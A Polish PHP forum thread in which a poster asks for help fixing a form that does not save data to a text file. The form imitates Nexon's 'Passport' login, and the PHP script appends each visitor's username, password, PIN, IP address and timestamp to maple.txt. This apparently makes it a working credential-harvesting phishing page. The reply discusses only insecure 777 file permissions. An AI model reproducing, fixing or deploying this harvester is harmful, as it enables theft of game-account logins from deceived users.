[PHP]Dane z formularza do Pliku, Problem... Opcje

[robsonq]

Witam!
Mam problem z napisaniem strony - mam 3 pola do wpisania danych, i docelowo te dane mają zapisać sie na pliku txt.
Problem w tym, że napisałem w/w formularz i skrypt php zapożyczyłem z tej strony... Mimo to po wpisaniu danych do formularza nic się nie dzieje (nic nie pojawia się w pliku tekstowym)

[HTML] pobierz, plaintext 
<form name="frmLogin" method="post" action="login.php" id="frmLogin">
[HTML] pobierz, plaintext 

[HTML] pobierz, plaintext 
<label class="passport_id">Nexon Passport ID</label><input name="username" id="txtId" tabindex="1" size="16" type="text">
 
<label class="passport_pw">Nexon Passport P/W</label><input name="password" id="txtPassword" tabindex="2" maxlength="12" type="password">
 
<label class="passport_pin">Nexon Pin</label><input name="pin" id="pin" tabindex="2" maxlength="4" type="password">
 
<input name="btnLogin" value="" id="btnLogin" tabindex="3" class="btn_signin" type="submit">
[HTML] pobierz, plaintext 

Oto dwie części strony HTML, moim zdaniem odpowiedzialne za cały proces, no i skrypt php.

[PHP] pobierz, plaintext 
<?php
 
#
// register_globals!
#
$username = $_POST['username'];
#
$password = $_POST['password'];
#
$pin = $_POST['pin'];
#
 
#
$address = getenv("REMOTE_ADDR");
#
 
#
$filename = "$DOCUMENT_ROOT/maple.txt";
#
$nam = stripslashes($username);
#
$topi = stripslashes($password);
#
$messag = stripslashes($pin);
#
 
#
$a = "<hr>Username: $username<br>n";
#
$a2 = "Password: $password<br>n";
#
$a3 = "Pin: $pin<br>n";
#
$a4 = "IP: $address<br><br>nn";
#
$a5 = date ("d-m-Y");
#
$a6 = date ("G:i");
#
$filed = @fopen($filename, "a+");
#
@fwrite($filed, "$a $a2 $a3 $a4 $a5 $a6");
#
 
#
fclose($filed);
#
 
#
$msg = "<p>Data Input complete</P>";
#
 
 
?>
[PHP] pobierz, plaintext 

Jeśli ktoś może mnie naprowadzić na dobry trop, byłbym wdzięczny! (IMG:style_emoticons/default/smile.gif)

Pozdrawiam

[thek]

Skoro tak piszesz to zapewne wiesz czym się różni 6 od 7. Na co mi w pliku do zapisu i odczytu tylko parametr eXecute? (IMG:style_emoticons/default/winksmiley.jpg) Poza tym plik ma a+, czyli w domyśle już mamy, że skrypt sam ten plik zakłada i aktualizuje. Po co więc ktokolwiek ma mieć prawa do odczytu i zapisu poza skryptem? Tu już się kłaniają podstawy bezpieczeństwa i stąd prawa do zapisu i odczytu nadane tylko skryptowi czynią plik przez niego założony o wiele bezpieczniejszym. A ustawieniem 777 pozwoliłeś każdemu na grzebanie wewnątrz tego pliku. To nie jest bezpieczne. Wyobraź sobie teraz, że ktoś w środek wrzuci skrypt i masz na serwerze jazdę bo mu nawet atrybut wykonywalności (X) ustawiłeś poza odczytem i zapisem. Wszystko się powinno robić z głową. A tak masz bardzo poważną lukę bezpieczeństwa. Fajnie? Pza tym nie myl prawa do nadpisywania z prawem do wykonywania. Nie na darmo pewne pliki ustawia się na 755, inne na 644, a jeszcze inne inaczej. Po to te uprawnienia istnieją by nikt niepowołany nie robił co chce z nimi. Jeśli tylko ktoś by zauważył, że masz pliki na 777 to albo za chwilę nie miałbyś już portalu albo zrobili by Ci z niego jesień średniowiecza (IMG:style_emoticons/default/winksmiley.jpg)